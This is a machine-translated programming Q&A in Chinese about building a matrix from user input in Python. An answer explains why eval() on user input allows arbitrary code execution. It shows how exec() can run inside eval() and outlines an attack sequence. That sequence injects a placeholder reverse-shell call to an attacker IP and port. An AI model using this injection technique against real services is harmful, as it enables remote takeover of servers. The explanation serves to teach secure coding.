[英]Matrix - create matrix from user input(rows)
我想像這樣從用戶輸入創建矩陣:在此處輸入圖像描述
這是我的代碼:
flag = True
while flag:
num = int(input('enter matrix dimension:'))
if num == 0:
print('Finish')
flag = False
else:
matrix = []
for row in range(num):
matrix.append([])
for column in range(1):
value = eval(input('Enter elements in row with commas:'))
matrix[row].append(value)
print (matrix)
for row in range(len(matrix)):
for column in range(len(matrix[row])):
print(matrix[row][column], end=" ")
print()
main()
問題是類型是元組(我不知道為什么),並且在 eval(input()) 中我不能放更多的參數,比如 num,row。 我怎樣才能解決這個問題?
當我玩了一下eval()
時,我想再詳細說明一下,並向 OP 和可能的讀者解釋為什么使用eval()
和用戶輸入是危險的。
Eval 讓您以字符串的形式運行表達式,例如“1+1”或使用內置函數compile()
創建的代碼對象。
例子:
>>> expression = "1+1"
>>> res = eval(expression)
>>> print(res)
2
>>> compiled_expression = compile(expression, "<string>", "eval")
>>> print(compiled_expression.co_code)
b'd\x00S\x00'
>>> res = eval(compiled_expression)
>>> print(res)
2
表達式可以是所有有返回值的東西。
>>> type(1+1)
<class 'int'>
>>> x = 42
>>> type(1 if x%2 == 0 else 1)
<class 'int'>
>>> type(print("Hi"))
Hi
<class 'NoneType'>
>>> type(import os)
File "<bpython-input-42>", line 1
type(import os)
^^^^^^
SyntaxError: invalid syntax
我們得到這個語法錯誤,因為表達式import os
沒有返回值。 這意味着,我們不能導入模塊,但我們可以使用所有現有的變量、常量、方法、類和導入的模塊來制作一個表達式並通過eval(...)
調用這個表達式。
從攻擊者的角度來看,執行任意代碼有點意思。 考慮在服務器的后端使用上面的代碼,來自前端的用戶輸入將被扔到內置的eval()
方法中以填充矩陣,然后將其返回到前端。 如果創建一個在線矩陣計算器或類似的東西,這可能是一個有效的場景。
代碼如果不開源,就會成為攻擊者的盲點。 如果您的應用程序中已經導入了os
、 requests
或subprocess
等模塊,那么他很幸運。 否則,攻擊者無能為力。
如何欺騙eval()
:
您可能已經提到,我們確實可以調用乍一看沒有返回值的方法。 print(...)
不僅會在屏幕上打印文本,還會返回<class 'NoneType'>
類型的內容。 鑒於此,我們還可以運行另一個非常有趣的內置方法: exec()
。
Exec 有點像eval()
,但功能更強大,因此更危險。 使用exec()
,我們也可以像上面的示例一樣以字符串或編譯代碼對象的形式運行代碼。 但與eval()
相比,我們不必運行帶有返回值的語句。 使用eval()
,我們只能運行可以分配給某種變量的表達式。 使用exec()
,我們可以運行任何我們想要的表達式,不管它是否有返回值。 此外,表達式的結果在當前進程中保持不變。
示例:
>>> print(x)
Traceback (most recent call last):
File "<input>", line 1, in <module>
print(x)
NameError: name 'x' is not defined
>>> exec("x = 1 + 1")
>>> print(x)
2
讓我們檢查一下,如果exec(...)
是一個有效的表達式,它是否有返回值,以及我們是否可以從eval()
運行它。
>>> type(exec("x = 1 + 1"))
<class 'NoneType'>
確實,我們可以。 有了這個小技巧,我們現在還可以在eval()
中運行非返回表達式,比如導入模塊......
利用此類任意代碼執行漏洞可能會產生許多影響。 或多或少無害的一種方法是簡單地使應用程序崩潰,因為輸入未正確滿足。 就提到的矩陣計算器示例而言,像posix.uname_result(sysname='Linux', nodename='redacted', release='5.10.105-1-MANJARO', version='#1 SMP PREEMPT Fri Mar 11 14:12:33 UTC 2022', machine='x86_64')
沒有多大意義。
使用requests
,攻擊者還可以在腳本崩潰之前發送數據。 或者他可以更改系統上的文件,安裝后門等等。
開發:
(1) 攻擊者在攻擊服務器上啟動一個監聽器。
(2) 攻擊者打開你的在線計算器(或者在這種情況下是 OP 的腳本)
(3) 攻擊者插入數據
(4) 當攻擊者進入輸入時,在后台使用eval()
時,將插入生成反向 shell 的代碼,如下所示: exec("""start_reverse_shell(ip=<attackers ip>, port=<attacker port>)""")
(注意: start_reverse_shell()
不是有效代碼,但我不想在此處發布反向 shell 的代碼;))腳本現在正在運行代碼,並且提供的語句有返回值,當前動作有效。 反向 shell 的代碼導入一些模塊並建立與攻擊者服務器的連接。
(5) 攻擊者現在可以訪問被利用的服務器(從“hostname”和“pwd”的輸出中可以看到)。
PS請不要濫用這樣的可能的漏洞。 進行負責任的披露,並為成為這樣一個好人而感到高興:)
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.